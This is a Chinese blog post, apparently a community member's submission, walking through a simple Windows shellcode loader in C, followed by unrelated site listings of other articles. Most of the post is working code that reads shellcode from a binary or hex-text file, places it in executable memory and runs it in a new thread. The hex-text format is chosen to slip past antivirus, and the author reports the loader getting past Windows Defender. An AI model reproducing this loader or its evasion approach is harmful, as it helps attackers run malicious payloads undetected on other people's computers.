「星球投稿」Simple-Shellcode-Loader学习

简介: 「星球投稿」Simple-Shellcode-Loader学习

此篇为投稿文章,为知识星球内一位刚上大学的小伙子@Muxue投稿(国庆假期小伙子们的学习劲头值得表扬)

在我指导下协助其解决了一些问题后,让他记录了一篇文章,潦草了些,但是我觉得也能帮助下基础薄弱的同学,所以将这篇记录发出来。

最后再表扬下@Muxue同学

为了保留小伙子的原汁原味,下面是原文我未作改动,并保留了一些奇奇怪怪的语气词。

前言

   之前的东西,加了个功能又学到了新东西,练下代码;这一篇都非常简单!!!这垃圾代码再改改,硬编码下字符串、隐藏下WinAPI等,肯定效果很更好点。

开冲

就是简单的三部曲

  1. 申请内存
  2. 写入内存
  3. 然后加载
VirtualAlloc() or VirtualAllocEx();
CopyMemory() or WriteMemory();
CreateThread() or (*(void (*)()) shellcode)();

还有很多类似的这种...

ExecBin

这个就比较简单了

  1. 从文件中读取
  2. 然后拷贝进内存
  3. 创建线程加载
void ExecBin(char* file_name) {
 LARGE_INTEGER fileSize;
 HANDLE hThread;
 DWORD dwThreadId;
 char* filename = file_name;
 HANDLE MyFile = CreateFileA(file_name, GENERIC_READ, 0, NULL, OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL, NULL);
 GetFileSizeEx(MyFile, &fileSize);
 char buf[6000];
 ZeroMemory(&buf, sizeof(buf));
 printf("Size : %d \n", fileSize.LowPart);
 char *xue_buf = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 ReadFile(MyFile, buf, fileSize.LowPart, 0, NULL);
 CopyMemory(xue_buf, buf, sizeof(buf));
 hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)xue_buf, NULL, NULL, &dwThreadId);
 // 等待线程
 WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
 VirtualFree(xue_buf, 0, MEM_RELEASE);
  CloseHandle(MyFile);
 CloseHandle(hThread);
}

   通过ReadFIle读取二进制文件,放入到一个变量中,最后把这个变量CopyMemory拷贝进一块内存中, 最后加载执行。

ExecTxt

   像那种原始的shellcode payload,直接整进内存再加载,极为方便所以一些AV看的就比较严了。我就在想原来看人家通过txt加载(正常文本反正不会杀吧),所以有了这个函数。这里和上面其实差不了太多,核心的功能其实就是 读取Hex字符串转换为Shellcode

借鉴于这个项目:https://github.com/DimopoulosElias/SimpleShellcodeInjector

   想要弄明白就调试一下,我直接用的@idiotc4t师傅的demo来做测试了

for(unsigned int i = 0; i< iterations-1; i++) {
 sscanf(shellcode+2*i, "%2X", &char_in_hex); // sscanf格式化输出,%2x以
 十六进制输出保留两位(应该就是取两位),然后传入char_in_hex里
 shellcode[i] = (char)char_in_hex;
}

首先看没有转换的


   可以从内存窗口看出就是单纯的字符串,要是拷贝进内存中,拷贝进去的不是shellcode而是这些字符 串!这是踩了个坑 基础太差

然后接着跟进

可以看出来就是根据字符串转为对应的16进制的数据然后重新写入shellcode里

然后我们再看第二组

   调试出为72 对应的ASCII也就是H,然后拷贝进内存就是对应的48了(ASCII的H转换为十六进制也就是48) 所以这样一个个走下去,一组转换为int类型,然后int类型转换为对应的十六进制,最后就放到对应的 shellcode[i]里

1. i=0,shellcode+2*0,但是取2位就是第一组(1 2) 字符串里的FC -> 252 -> 在内存里就
是FC
2. i=1,shellcode+2*1,就是取2+2也就是第二组(3 4) 字符串里的48 -> 72 -> 在字符里就
是H -> 在内存里就是48
3. i=2,shellcode+2*2,就是取2+4也就是第三组(5 6) 字符串里的83 -> 131 -> 在内存里就
是83
// 但是别忘了我们字符串里的也是16进制的
....

只是找到对应的了,假如shellcode字符串里的是48(hex)就转换为ascii 10进制的72,在字符串中 显示的就是H,但是在内存中显示的就是48(hex)了; 这样以此类推下去 每个取2位然后进行转换,我是这样理解的 有不对的请师傅们指出

   这里放出来转换前和转换后的俩图,大家一看就明白了

   注意看内存窗口 就是单纯的字符串,我们所需的shellcode也没有在内存中,你加载执行的只是这 些字符串并不是所需的shellcode

我们在比对下转换后的

这样shellcode就正常在内存中了

#include <stdio.h>
#include <Windows.h>
int main(int argc, char* argv[]) {
 char shellcode[] = "";
 unsigned int char_in_hex; // 临时变量
 unsigned int iterations = strlen(shellcode); // 整体shellcode的长度
 unsigned int memory_allocation = strlen(shellcode) / 2 ; // 因为在内存中俩个为1byte吗 除2 
  DWORD temp;
 LARGE_INTEGER fileSize;
 HANDLE hThread;
 DWORD dwThreadId;
 char *xue_buf = (char*)VirtualAlloc(NULL, memory_allocation, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销
  sscanf_s(shellcode + 2 * i, "%2X", &char_in_hex);
  shellcode[i] = (char)char_in_hex;
 }
 CopyMemory(xue_buf, shellcode, memory_allocation);
 return 0;
}

这样一搞明白ExecTxt这个函数的原理就很简单了

void ExecTxt(char* file_name) {
 LARGE_INTEGER fileSize;
 HANDLE hThread;
 DWORD dwThreadId;
 char* filename = file_name;
 unsigned int char_in_hex;
  HANDLE MyFile = CreateFileA(file_name, GENERIC_READ, 0, NULL, OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL, NULL);
 GetFileSizeEx(MyFile, &fileSize);
 char buf[6000];
 ZeroMemory(&buf, sizeof(buf));
 printf("Size : %d \n", fileSize.LowPart);
 char *xue_buf = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  ReadFile(MyFile, buf, fileSize.LowPart, 0, NULL);
 unsigned int iterations = strlen(buf);
 for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销
  sscanf_s(buf + 2 * i, "%2X", &char_in_hex);
  buf[i] = (char)char_in_hex;
  }
 CopyMemory(xue_buf, buf, sizeof(buf));
 // printf(xue_buf);
 hThread = CreateThread(NULL,NULL, (LPTHREAD_START_ROUTINE)xue_buf,NULL,NULL,&dwThreadId);
 // 等待线程
 WaitForSingleObject(hThread, INFINITE);
 VirtualFree(xue_buf, 0, MEM_RELEASE);
 CloseHandle(MyFile);
 CloseHandle(hThread);
}

   就是把\x or 0x删除(这个功能我没写 我直接从就删除了然后到txt里),申请块内存,通过ReadFIle读取进 来,然后把对应的字符串的16进制数据重新写入xue_buf里,最后ZeroMemory拷贝进内存, CreateThread加载。

测试

最后测下免杀性了

Windows Defender

我擦 可以

   起初我还不大敢相信 又放在downloads下 测试了一遍确实可以,加载bin就不出意外的杀了

火绒

360

以上就是投稿文章的全部内容。

相关文章
|
1月前
|
自然语言处理 JavaScript 前端开发
[JS]同事看了我做的this笔记,直摇头,坦言:我还是参考启发博文吧
本文介绍了JavaScript中`this`关键字的重要性和使用规则。作者回顾了早期笔记,总结了`this`指向的各种情况,并分享了最新的理解。文章强调了`this`在不同上下文中的指向,包括对象方法、全局函数、箭头函数等,并提供了改变`this`指向的方法。适合JavaScript开发者参考。
48 2
|
7月前
|
Dubbo Java 中间件
探寻源码宝藏:介绍开源项目"source-code-hunter"
最近处于金三银四的面试黄金期,许多同学在面试中反映现在要求非常高,阅读源码几乎是必问项。然而,阅读源码时常常觉得晦涩难懂,令人头疼。今天在浏览 GitHub 时,我发现了一个名为 source-code-hunter 的宝藏项目。这个项目从源码层面深入剖析和挖掘互联网行业主流技术的底层实现原理,为广大开发者提供了便利,助其提升技术深度。目前该项目已经涵盖了 Spring 全家桶、Mybatis、Netty、Dubbo 框架,以及 Redis、Tomcat 等中间件的内容,恰好适合最近正在面试或希望提升技术深度的同学参考学习。
781 1
探寻源码宝藏:介绍开源项目"source-code-hunter"
|
7月前
|
数据采集 数据安全/隐私保护 iOS开发
深入浅出:Objective-C中使用MWFeedParser下载豆瓣RSS
本文旨在介绍如何在Objective-C中使用MWFeedParser库下载豆瓣RSS内容,同时展示如何通过爬虫代理IP技术和多线程提高爬虫的效率和安全性。
深入浅出:Objective-C中使用MWFeedParser下载豆瓣RSS
|
7月前
|
人工智能 前端开发 JavaScript
BS-PT-108 基于Springboot+Vue大学生英语在线学习平台
本项目基于Springboot和Vue开发实现一个前后端分离的英语在线学习网站。系统分为四类用户角色:游客、学生、教师、管理员。游客进入系统可以进行相应信息查看和不记名学习。学生注册登录后可以在线查看英语学习视频、查看相关学习用书、在线交流论坛、在线进行专项测试、查看各类英语范文、个人中心等,个人中心可以查看自己的收藏记录、专题测试记录、错题本、论坛发言记录等相关信息。老师的账户由管理员分配,可以在线发布相关视频、书籍、专题测试等。管理员可以对所有的信息进行相应的管理操作,具体看下面展示。
124 1
|
存储 编译器 API
[√]vld源码共读
[√]vld源码共读
63 0
编程小技巧3-IDEA插件Power Mode || 写代码帅是一辈子的事
编程小技巧3-IDEA插件Power Mode || 写代码帅是一辈子的事
549 0
编程小技巧3-IDEA插件Power Mode || 写代码帅是一辈子的事
|
前端开发 JavaScript
#yyds干货盘点# 【js学习笔记十九】前端argument的使用
#yyds干货盘点# 【js学习笔记十九】前端argument的使用
153 0
|
网络协议 编译器 程序员
为什么 Go 是我最喜欢的编程语言(2017)[翻译]#IT人的升职加薪tips#
为什么 Go 是我最喜欢的编程语言(2017)[翻译]#IT人的升职加薪tips#
190 0
为什么 Go 是我最喜欢的编程语言(2017)[翻译]#IT人的升职加薪tips#
|
存储 算法 JavaScript
#私藏项目实操分享# 1000字带你学会 Go maps
#私藏项目实操分享# 1000字带你学会 Go maps
118 0